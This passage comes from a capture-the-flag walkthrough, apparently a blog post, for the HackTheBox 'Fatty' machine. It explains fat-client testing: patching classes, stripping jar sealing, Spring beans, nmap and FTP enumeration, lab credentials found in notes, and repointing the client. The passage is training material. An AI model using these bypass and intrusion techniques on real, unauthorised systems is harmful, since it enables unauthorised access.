our&nbsp;<em>Java&nbsp;<\/em>code, we get an error that the corresponding class is missing.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15428,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/05.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/05-1024x267.png\" alt=\"\" class=\"wp-image-15428\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>To fix this issue we need to import the classes that are defined in the&nbsp;<em>.jar&nbsp;<\/em>file. In&nbsp;<em>Eclipse<\/em>, you can do this by configuring your build path. Just right-click the&nbsp;<em>JRE System Library<\/em>&nbsp;field in the&nbsp;<em>package-explorer<\/em>, go to the field&nbsp;<em>Build Path<\/em>&nbsp;and select&nbsp;<em>Configure Build Path<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15430,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/06.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/06-1024x408.png\" alt=\"\" class=\"wp-image-15430\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>After clicking, a new menu should pop up which supports different Build Path modifications. To add classes that are contained in a&nbsp;<em>.jar<\/em>&nbsp;file, use the&nbsp;<em>Add External Jar<\/em>&nbsp;field. This allows you to add a specific&nbsp;<em>.jar<\/em>&nbsp;file from your file system. You can also select multiple&nbsp;<em>jars<\/em>, which is helpful for clients consisting out of more than one&nbsp;<em>.jar<\/em>&nbsp;file.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With the .jar in your&nbsp;<em>Build Path<\/em>, you should now be able to use the classes defined inside the&nbsp;<em>.jar<\/em>&nbsp;file.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15432,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/07.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/07-1024x273.png\" alt=\"\" class=\"wp-image-15432\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>Now you can start to build your own client by using the classes that are defined inside the source code of the<em>&nbsp;fat client<\/em>. A simple proof of concept is to write an own class that contains a&nbsp;<em>main&nbsp;<\/em>function and simply launches the&nbsp;<em>main&nbsp;<\/em>function that is defined by the client. If everything works like expected, you should see the ordinary graphical user interface popping up. From here it is your job to reduce and reorder the original code from the&nbsp;<em>fat client<\/em>&nbsp;to get a own working minimal&nbsp;<em>Java&nbsp;<\/em>client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"patching-classes\">2.3.6 \u2013 Patching Classes<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Sometimes it can be helpful to patch classes, e.g. to disable some client side protection mechanisms. Remember that your own client basically relies on method invocations of classes defined inside the&nbsp;<em>.jar<\/em>&nbsp;file of the&nbsp;<em>fat client<\/em>. By default, these methods may implement some filtering or other protections that are an obstacle for your attack. By patching the class, you can modify its methods and disable the protection mechanisms.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patching classes is normally not a big deal. Imagine you have the class&nbsp;<code>htb.fatty.client.example.Test<\/code>&nbsp;defined inside the&nbsp;<em>.jar<\/em>&nbsp;file and you want to modify the code of it a little bit. In this case, you can simply add the package&nbsp;<code>htb.fatty.client.example<\/code>&nbsp;to your&nbsp;<em>Eclipse project<\/em>, create the class&nbsp;<code>Test<\/code>inside of it and copy the decompiled Java code from the original class. When Eclipse tries to resolve a class, it will prefer the one that is defined in your local project, instead of class that is defined in an external&nbsp;<em>.jar<\/em>&nbsp;file. Therefore, any modification that you make to your local class&nbsp;<code>Test<\/code>&nbsp;should directly apply for your own&nbsp;<em>Java&nbsp;<\/em>client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That being said, there is one obstacle you may encounter when patching classes from the client and this obstacle is called&nbsp;<code>Sealing<\/code>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"defeating-sealed-jars\">2.3.7 \u2013 Defeating Sealed Jars<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Sealing is an additional feature for&nbsp;<em>.jar<\/em>&nbsp;files, that tries to prevent errors in the presence of ambiguous class names. In contrast to singing, it is not really a security feature, but it can be annoying when you try to patch classes from a&nbsp;<em>fat client<\/em>. A sealed&nbsp;<em>.jar<\/em>&nbsp;file contains an additional field inside of its&nbsp;<code>MANIFEST.MF<\/code>, which is simply&nbsp;<code>Sealed: True<\/code>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>When a&nbsp;<em>.jar<\/em>&nbsp;file is sealed, the author basically says that the packages inside the&nbsp;<em>.jar<\/em>&nbsp;file are self contained. Therefore, it is not allowed to define local instances or additional classes for this package outside of the&nbsp;<em>.jar<\/em>&nbsp;file. If you think that this is confusing, you are probably right and I guess an example is required to really understand it:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Consider that we want again to patch the class&nbsp;<code>htb.fatty.client.example.Test<\/code>. Inside&nbsp;<em>Eclipse<\/em>, we create our own package&nbsp;<code>htb.fatty.client.example<\/code>&nbsp;and define the class<code>Test<\/code>. If&nbsp;<code>Test<\/code>&nbsp;is the only class in the&nbsp;<code>example<\/code>&nbsp;packe, we do not get any problems with sealing. However, imagine that the package&nbsp;<code>htb.fatty.client.example<\/code>&nbsp;does contain another class&nbsp;<code>Test2<\/code>. Now we get into troubles. Our client will try to load&nbsp;<code>Test<\/code>&nbsp;from our local projet and&nbsp;<code>Test2<\/code>&nbsp;from the&nbsp;<em>.jar<\/em>&nbsp;file. But since the&nbsp;<em>.jar<\/em>file is sealed,&nbsp;<em>Java<\/em>&nbsp;knows that it should be self contained and does not allow definitions to&nbsp;<code>htb.fatty.client.example<\/code>&nbsp;outside of the&nbsp;<em>.jar<\/em>&nbsp;file. If you run a&nbsp;<em>Java&nbsp;<\/em>executable that violates sealing rules, it will die and throw a corresponding exception.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As in the case of signing, you can get around sealing by simply modifying the&nbsp;<em>.jar<\/em>&nbsp;file. Just follow the same procedure we described above to unpack the&nbsp;<em>.jar<\/em>file, remove the&nbsp;<code>Sealed: True<\/code>&nbsp;field from the&nbsp;<code>MANIFEST.MF<\/code>&nbsp;file and pack your&nbsp;<em>.jar<\/em>&nbsp;file again. After these steps, all sealing violations should be gone.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4 id=\"spring-framework\">2.3.8 \u2013 The Spring Framework<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The last point I want to discuss in this&nbsp;<em>fat client<\/em>&nbsp;introduction is the&nbsp;<em>Spring framework<\/em>. Actually,&nbsp;<em>Spring&nbsp;<\/em>is not really connected to&nbsp;<em>fat client<\/em>&nbsp;security assessments and there is no guarantee that a&nbsp;<em>fat client<\/em>&nbsp;is using&nbsp;<em>Spring<\/em>. That being said, the&nbsp;<em>Spring framework<\/em>&nbsp;is very popular and many&nbsp;<em>fat clients<\/em>&nbsp;make use of it.&nbsp;<em>Spring&nbsp;<\/em>is super powerful and supports many different functionalities. In the following text we only discuss some features of&nbsp;<em>Spring&nbsp;<\/em>that will help us to solve the&nbsp;<em>Fatty&nbsp;<\/em>machine.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>A very common design pattern in&nbsp;<em>Java&nbsp;<\/em>are classes that depend on other classes. For example lets take the&nbsp;<code>Connection<\/code>&nbsp;class of a&nbsp;<em>fat client<\/em>, that is responsible for the connection setup to the remote server. This class may requires other connection relevant information which is stored in other classes. For example, the class&nbsp;<code>Connection<\/code>&nbsp;may requires an object from the&nbsp;<code>ConnectionInformation<\/code>&nbsp;class, that stores the hostname and port of the remote server. Furthermore, it may requires a&nbsp;<code>SecurityManager<\/code>&nbsp;class that stores information on the&nbsp;<em>SSL&nbsp;<\/em>context. Therefore, the constructor of the&nbsp;<code>Connection<\/code>&nbsp;class could look like this:<strong>public<\/strong> Connection( ConnectionInformation cInfo, SecurityManager sManager) { ...}<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now consider how to instantiate an object of the&nbsp;<code>Connection<\/code>&nbsp;class inside your code. You could first of all create an object of the&nbsp;<code>ConnectionInformation<\/code>&nbsp;class, then an object of the&nbsp;<code>SecurityManager<\/code>class and finally use both to create an object of the&nbsp;<code>Connection<\/code>&nbsp;class. This works, but defining all this class dependencies manually is a tedious work. Moreover, the&nbsp;<code>ConnectionInformation<\/code>&nbsp;and&nbsp;<code>SecurityManager<\/code>&nbsp;classes may require other objects or information on their own, that need to be present during their creation.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With the&nbsp;<em>Spring framework<\/em>, such class dependencies can be handled easily by using the&nbsp;<em>Inversion of Control Container (IoC)<\/em>. The&nbsp;<em>IoC<\/em>&nbsp;container is responsible for creating objects, initializing them and especially for managing the dependencies among them. Another keyword that you can find very often in this context is&nbsp;<em>dependency injection<\/em>, which describes the process of managing the dependencies between different objects. Objects created by the&nbsp;<em>IoC<\/em>container are also called&nbsp;<em>Beans<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So how does&nbsp;<em>Spring&nbsp;<\/em>can help in situations like described above? When using the&nbsp;<em>IoC<\/em>&nbsp;container, you can define the building patterns for objects inside of&nbsp;<em>XML<\/em>&nbsp;files (you can also use&nbsp;<em>Java&nbsp;<\/em>annotations, but I guess the&nbsp;<em>XML&nbsp;<\/em>variant is easier to understand). A corresponding&nbsp;<em>XML&nbsp;<\/em>file for the scenario mentioned above could look like this:<strong>&lt;?xml version = \"1.0\" encoding = \"UTF-8\"?&gt;<\/strong>&lt;<strong>beans<\/strong> xmlns=\"http:\/\/www.springframework.org\/schema\/beans\" xmlns:xsi=\"http:\/\/www.w3.org\/2001\/XMLSchema-instance\" xsi:schemaLocation=\" http:\/\/www.springframework.org\/schema\/beans spring-beans-3.0.xsd\"&gt; &lt;<strong>bean<\/strong> id=\"connectionInformation\" class = \"htb.fatty.shared.connection.ConnectionInformation\"&gt; &lt;<strong>constructor-arg<\/strong> index=\"0\" value = \"sever.to.connect.to\"\/&gt; &lt;<strong>constructor-arg<\/strong> index=\"1\" value = \"8080\"\/&gt; &lt;\/<strong>bean<\/strong>&gt; &lt;<strong>bean<\/strong> id=\"trustManager\" class = \"htb.fatty.shared.connection.TrustManager\"&gt; &lt;<strong>property<\/strong> name = \"keystorePath\" value = \"fatty.p12\"\/&gt; &lt;\/<strong>bean<\/strong>&gt; &lt;<strong>bean<\/strong> id=\"connection\" class = \"htb.fatty.server.connection.Connection\"&gt; &lt;<strong>constructor-arg<\/strong> index = \"0\" ref = \"connectionInformation\"\/&gt; &lt;<strong>constructor-arg<\/strong> index = \"1\" ref = \"trustManager\"\/&gt; &lt;\/<strong>bean<\/strong>&gt;&lt;\/<strong>beans<\/strong>&gt;<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can see, the&nbsp;<em>XML&nbsp;<\/em>file does define a total of three different&nbsp;<em>beans<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>The first&nbsp;<em>bean&nbsp;<\/em>is an object of the class&nbsp;<code>ConnectionInformation<\/code>&nbsp;and it takes two additional constructor arguments. The constructor of this class probably looks like this:<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>public<\/strong> ConnectionInformation(<strong>String<\/strong> hostname, <strong>int<\/strong> port) { ... }<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since the&nbsp;<em>IoC<\/em>&nbsp;container handles object creation for you, it needs to know all parameters that are required by the constructor in order to create an object of the corresponding class. Also notice that the corresponding parameters are marked as&nbsp;<em>constructor-arg<\/em>&nbsp;inside the&nbsp;<em>XML&nbsp;<\/em>file.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true,\"start\":2} -->\n<ol start=\"2\"><li>The second bean is an object of the&nbsp;<code>TrustManager<\/code>&nbsp;class and takes one additional argument. Notice that this time the&nbsp;<em>constructor-arg<\/em>&nbsp;declaration is missing and the&nbsp;<em>property<\/em>&nbsp;keyword is used instead. This form of parameter definition is required for classes that take their parameters through setter functions and not by a constructor. In such cases,&nbsp;<em>Spring&nbsp;<\/em>requires the constructor of the corresponding class to take zero arguments and it expects the presence of a&nbsp;<em>setter function<\/em>&nbsp;with name&nbsp;<code>setParamatername<\/code>&nbsp;(<code>setKeystorePath<\/code>&nbsp;in our example).<\/li><li>So far we only saw&nbsp;<em>beans&nbsp;<\/em>that take static parameters as input arguments. The third&nbsp;<em>bean&nbsp;<\/em>defined inside the&nbsp;<em>XML&nbsp;<\/em>file is an object of the&nbsp;<code>Connection<\/code>class and takes two additional constructor arguments. In contrast to the other&nbsp;<em>beans<\/em>, these two arguments are not just&nbsp;<em>Strings&nbsp;<\/em>or&nbsp;<em>Integers<\/em>, but object instances of other classes. As a reminder, here is the constructor of the&nbsp;<code>Connection<\/code>&nbsp;class:<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p><strong>public<\/strong> Connection( ConnectionInformation cInfo, SecurityManager sManager) { ... }<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead of specifying the value of the arguments using the&nbsp;<em>value<\/em>&nbsp;keyword inside the&nbsp;<em>XML&nbsp;<\/em>file, we use the&nbsp;<em>ref<\/em>&nbsp;keyword that can be used to reference other&nbsp;<em>Bean&nbsp;<\/em>definitions. The&nbsp;<em>IoC<\/em>&nbsp;container knows, that it needs to create object instances for the&nbsp;<em>trustManager<\/em>&nbsp;and&nbsp;<em>connectionInformation<\/em>&nbsp;<em>Beans&nbsp;<\/em>first, before it can create the&nbsp;<em>connection<\/em>&nbsp;<em>Bean<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Now that you know how the&nbsp;<em>IoC<\/em>&nbsp;container creates objects&nbsp;<em>Beans<\/em>), we should take a look at how this actually works inside the source code. To show this, consider that the above mentioned&nbsp;<em>XML&nbsp;<\/em>file has been stored as&nbsp;<code>beans.xml<\/code>inside our class path. If we want now to create an object of the&nbsp;<code>Connection<\/code>class using the&nbsp;<em>IoC<\/em>&nbsp;container, we can just make the following calls from our&nbsp;<em>Java&nbsp;<\/em>code:ApplicationContext context = new ClassPathXmlApplicationContext(\"beans.xml\");Connection obj = (Connection) context.getBean(\"connection\");<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Simple, isn\u2019t it? We just load our&nbsp;<em>XML&nbsp;<\/em>configuration file and ask the&nbsp;<em>IoC<\/em>container for the desired&nbsp;<em>Bean<\/em>.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><em>Fat clients<\/em>&nbsp;that are using&nbsp;<em>Spring&nbsp;<\/em>can be very dangerous when using the&nbsp;<em>Bottom-Up<\/em>&nbsp;approach for investigating the clients source code. Starting from the low level classes, you will see many class dependencies and may overlook that the client is using&nbsp;<em>Spring&nbsp;<\/em>to wire all of them together. Recognizing that a client is using&nbsp;<em>Spring&nbsp;<\/em>and utilizing it to create complex objects with just a few lines of code can be very important.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"fat-client-conclusions\">2.4 \u2013 Fat Client Conclusions<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>We have now finished our brief tutorial on&nbsp;<em>fat client<\/em>&nbsp;penetration testing. The goal of this introduction was to explain some general concepts and to introduce certain terms that you may encounter during a<em>&nbsp;fat client&nbsp;<\/em>security assessment. If you would ask me to reduce the<em>&nbsp;fat client<\/em>&nbsp;introduction into a single&nbsp;<em>take home message<\/em>&nbsp;I would formulate it like this:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":4} -->\n<h4>Always try to get control of the communication channel between client and server.<\/h4>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>This is the most important part of a&nbsp;<em>fat client<\/em>&nbsp;penetration test and once it succeeds, chances are high that you will identify some dangerous vulnerabilities.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That being said, with only the short introduction from above it will still be difficult to engage a real world<em>&nbsp;fat client<\/em>. Practice is probably the most important thing in preparation of a<em>&nbsp;fat client<\/em>&nbsp;assessment.&nbsp;<em>Fatty&nbsp;<\/em>gives you the opportunity to practice most of the above mentioned concepts against a small&nbsp;<em>Java&nbsp;<\/em>client.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 id=\"user-on-fatty\">3.0 \u2013 Getting User on Fatty<\/h2>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Now that we have a basic understanding of&nbsp;<em>fat clients<\/em>, we can finally start to take on the&nbsp;<em>Fatty&nbsp;<\/em>machine. The following sections will show you one example, how you can get access to the&nbsp;<em>Fatty&nbsp;<\/em>application server. However, as with any machine that was configured intentionally vulnerable, there may be other paths that let you takeover the system.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15552,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/fatt-1.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/fatt-1.png\" alt=\"\" class=\"wp-image-15552\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"enumeration\">3.1 \u2013 Starting Enumeration<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>As with any other machine, we start with a&nbsp;<em>nmap&nbsp;<\/em>scan to get an overview of the exposed endpoints:[pentester@kali ~]$ sudo nmap -sV -p- 10.10.10.174<strong>Starting<\/strong> Nmap 7.80 ( https:\/\/nmap.org ) at 2020-07-08 00:25 CEST<strong>Nmap<\/strong> scan report for fatty.htb (10.10.10.174)<strong>Host<\/strong> is up (0.032s latency).<strong>Not<\/strong> shown: 65530 closed ports<strong>PORT<\/strong> STATE SERVICE VERSION21\/tcp <strong>open<\/strong> ftp vsftpd 2.0.8 or later22\/tcp <strong>open<\/strong> ssh OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)1337\/tcp <strong>open<\/strong> ssl\/waste?1338\/tcp <strong>open<\/strong> ssl\/wmc-log-svc?1339\/tcp <strong>open<\/strong> ssl\/kjtsiteserver?<strong>Service<\/strong> Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Not too much ports open. Starting from the lowest port number, we see that&nbsp;<em>nmap&nbsp;<\/em>prints a relatively old version of&nbsp;<em>vsftpd<\/em>. However, when connecting to the&nbsp;<em>FTP&nbsp;<\/em>server we can see that&nbsp;<em>nmap&nbsp;<\/em>did only made a wild guess:[pentester@kali ~]$ ftp 10.10.10.174<strong>Connected<\/strong> to 10.10.10.174.220 qtc's development server<strong>Name<\/strong> (10.10.10.174:pentester):<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Instead of returning a banner that contains the server version, the system administrator of this box has changed the banner to some useless text. The actual&nbsp;<em>vsftpd<\/em>&nbsp;version can therefore be much higher than 2.0.8. We could now test some known exploits against the server, but exploiting logical vulnerabilities is far more fun. So lets see if we can login using the anonymous user:<strong>Name<\/strong> (10.10.10.174:pentester): anonymous230 Login successful.<strong>Remote<\/strong> system type is UNIX.<strong>Using<\/strong> binary mode to transfer files.ftp&gt; ls200 PORT command successful. Consider using PASV.150 Here comes the directory listing.-rw-r--r-- 1 ftp ftp 15426727 Oct 30 2019 fatty-client.jar-rw-r--r-- 1 ftp ftp 526 Oct 30 2019 note.txt-rw-r--r-- 1 ftp ftp 426 Oct 30 2019 note2.txt-rw-r--r-- 1 ftp ftp 194 Oct 30 2019 note3.txt226 Directory send OK.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As once can see, the anonymous login is successful and the server offers a bunch of files. First of all, we get a&nbsp;<em>.jar<\/em>&nbsp;file with name&nbsp;<em>fatty-client.jar<\/em>. Since already the introduction was about<em>&nbsp;fat clients<\/em>, you may already assume that this will be the&nbsp;<em>fat client<\/em>&nbsp;we are working with. Additionally, we get a<br>bunch of notes.[pentester@kali ~]$ cat note.txt <strong>Dear<\/strong> members, because of some security issues we moved the port of our fatty java server from 8000 to the hidden and undocumented port 1337. Furthermore, we created two new instances of the server <strong>on<\/strong> port 1338 and 1339. They offer exactly the same server and it would be niceif you use different servers from day to day to balance the server load. <strong>We<\/strong> were too lazy to fix the default port in the '.jar' file, but since you are <strong>all<\/strong> senior java developers you should be capable of doing it yourself ;)<strong>Best<\/strong> regards,qtc[pentester@kali ~]$ cat note2.txt <strong>Dear<\/strong> members, we are currently experimenting with new java layouts. The new client uses a static layout. If yourare using a tiling window manager or only have a limited screen size, try to resize the client windowuntil you see the login from.Furthermore, for compatibility reasons we still rely <strong>on<\/strong> Java 8. Since our company workstations ship Java 11per default, you may need to install it manually.<strong>Best<\/strong> regards, qtc[pentester@kali ~]$ cat note3.txt <strong>Dear<\/strong> members, <strong>We<\/strong> had to remove <strong>all<\/strong> other <strong>user<\/strong> accounts because of some seucrity issues.<strong>Until<\/strong> we have fixed these issues, you can use my account:<strong>User<\/strong>: qtcPass: clarabibi<strong>Best<\/strong> regards,qtc<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Okay, lets summarize the information that we find inside these note files:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>We have to patch our&nbsp;<em>fatty-client.jar<\/em>&nbsp;manually, to connect either to port 1337, 1338 or 1339 of the application server.<\/li><li>If we have struggles with the layout, we should apply some resizing.<\/li><li>We got a valid set of credentials:&nbsp;<em>qtc:clarabibi<\/em>&nbsp;(what else?). Furthermore, we know that all other accounts are disabled.<\/li><\/ol>\n<!-- \/wp:list -->\n\n<!-- wp:paragraph -->\n<p>This information is of course pretty valuable for us. Not only we got a set of valid credentials, but also we know what is running behind the ports 1337, 1338 and 1339. Investigating these ports manually does probably not make a whole lot of sense, since the&nbsp;<em>fat client<\/em>&nbsp;may uses a binary protocol to communicate with the server. Instead we should focus on the&nbsp;<em>.jar<\/em>&nbsp;file that we have downloaded from the&nbsp;<em>FTP&nbsp;<\/em>server to communicate with these ports.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 id=\"running-fatty\">3.2 \u2013 Getting Fatty Running<\/h3>\n<!-- \/wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Like mentioned in our brief fat client introduction, step one is always to get the client running. So lets launch the&nbsp;<em>.jar<\/em>&nbsp;file to see what happens without any modifications. At this point, you may already encounter some problems. Make sure to download the&nbsp;<code>fatty-client.jar<\/code>&nbsp;in&nbsp;<em>FTP Binary Mode<\/em>&nbsp;and launch the&nbsp;<em>.jar<\/em>&nbsp;using&nbsp;<em>Java&nbsp;<\/em>version 8. This version of&nbsp;<em>Java&nbsp;<\/em>is old, but still maintained and very common. If you don\u2019t know which version is required by a&nbsp;<em>.jar<\/em>, starting with&nbsp;<em>Java&nbsp;<\/em>8 is usually a good guess. When following these recommendations, you should see the following user interface:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15435,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/08.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/08.png\" alt=\"\" class=\"wp-image-15435\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>This does not look too bad! At least the client is starting already. However, once we hit the login button, we will get the expected connection error.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15437,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/09.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/09.png\" alt=\"\" class=\"wp-image-15437\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>We can use&nbsp;<em>wireshark<\/em>&nbsp;to understand what the client is trying to do after hitting the login button:<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15439,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/10.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/10-1024x156.png\" alt=\"\" class=\"wp-image-15439\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>As you can see, it already fails on the&nbsp;<em>DNS&nbsp;<\/em>lookup. The client connects per default to&nbsp;<code>server.fatty.htb<\/code>, which is not resolvable by the&nbsp;<em>DNS&nbsp;<\/em>server. The easiest fix is to add this entry to the<code>\/etc\/hosts<\/code>&nbsp;file, but also in this case, we will get still a connection error.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:image {\"id\":15620,\"linkDestination\":\"custom\"} -->\n<figure class=\"wp-block-image\"><a href=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/wire-1.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img src=\"https:\/\/herolab.usd.de\/wp-content\/uploads\/sites\/4\/wire-1-1024x142.png\" alt=\"\" class=\"wp-image-15620\"\/><\/a><\/figure>\n<!-- \/wp:image -->\n\n<!-- wp:paragraph -->\n<p>As you can see, the client tries to connect to port&nbsp;<code>8000<\/code>&nbsp;of the remote server. This is exactly the behavior described in the&nbsp;<code>note.txt<\/code>&nbsp;file and it seems that we need to patch the client manually to correct this (we could also cheat and use e.g.&nbsp;<em>iptables&nbsp;<\/em>with a&nbsp;<em>d-nat<\/em>&nbsp;rule to redirect the network traffic to the correct port, but patching the client creates probably the same amount of effort).<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Patching properties like the&nbsp;<em>hostname&nbsp;<\/em>or<em>&nbsp;port number<\/em>&nbsp;of the remote server has usually not to be done inside the decompiled&nbsp;<em>Java&nbsp;<\/em>code. Most developers are aware that these values can change over time and allow to set them using configuration files. In the context of&nbsp;<em>Java<\/em>,&nbsp;<code><em>.<\/em>properties<\/code>&nbsp;files are a common place to store such information and they are stored as plain text files inside a&nbsp;<em>.jar<\/em>. Extracting the contents of the&nbsp;<em>.jar<\/em>&nbsp;file, modifying the&nbsp;<em>.properties<\/em>&nbsp;files and repacking the&nbsp;<em>.jar<\/em>&nbsp;file is therefore usually enough to apply small patches.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Like mentioned in the introduction, we can extract the contents of the&nbsp;<em>.jar<\/em>&nbsp;file using the&nbsp;<code>unzip<\/code>&nbsp;command. After the contents are extracted, we can simply use&nbsp;<code>grep<\/code>&nbsp;over the different files and search for either the hostname&nbsp;<code>server.fatty.htb<\/code>&nbsp;or the port number 8000. To speed up the process, we can also exclude all files with a&nbsp;<em>.class<\/em>&nbsp;ending.pentester@kali:~\/$ unzip -d unzipped\/ fatty-client.jar pentester@kali:~\/$ grep -E -R \"server.fatty.htb|8000\" --exclude *.class unzipped\/unzipped\/beans.xml: &lt;constructor-arg index=\"0\" value = \"server.fatty.htb\"\/&gt;unzipped\/beans.xml: &lt;constructor-arg index=\"1\" value = \"8000\"\/&gt;<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>As you can see we find the corresponding configuration options inside the&nbsp;<code>beans.xml<\/code>&nbsp;file. Furthermore, this does indicate that the client is using the&nbsp;<em>Spring framework<\/em>, since we know the file format of&nbsp;<code>beans.xml<\/code>&nbsp;from our short&nbsp;<em>Spring<\/em>&nbsp;introduction.<\/p>\n<!-- \/wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Since the hostname&nbsp;<code>server.fatty.htb<\/code>&nbsp;was already set in our&nbsp;<code>\/etc\/hosts<\/code>file, we only need to reconfigure the port 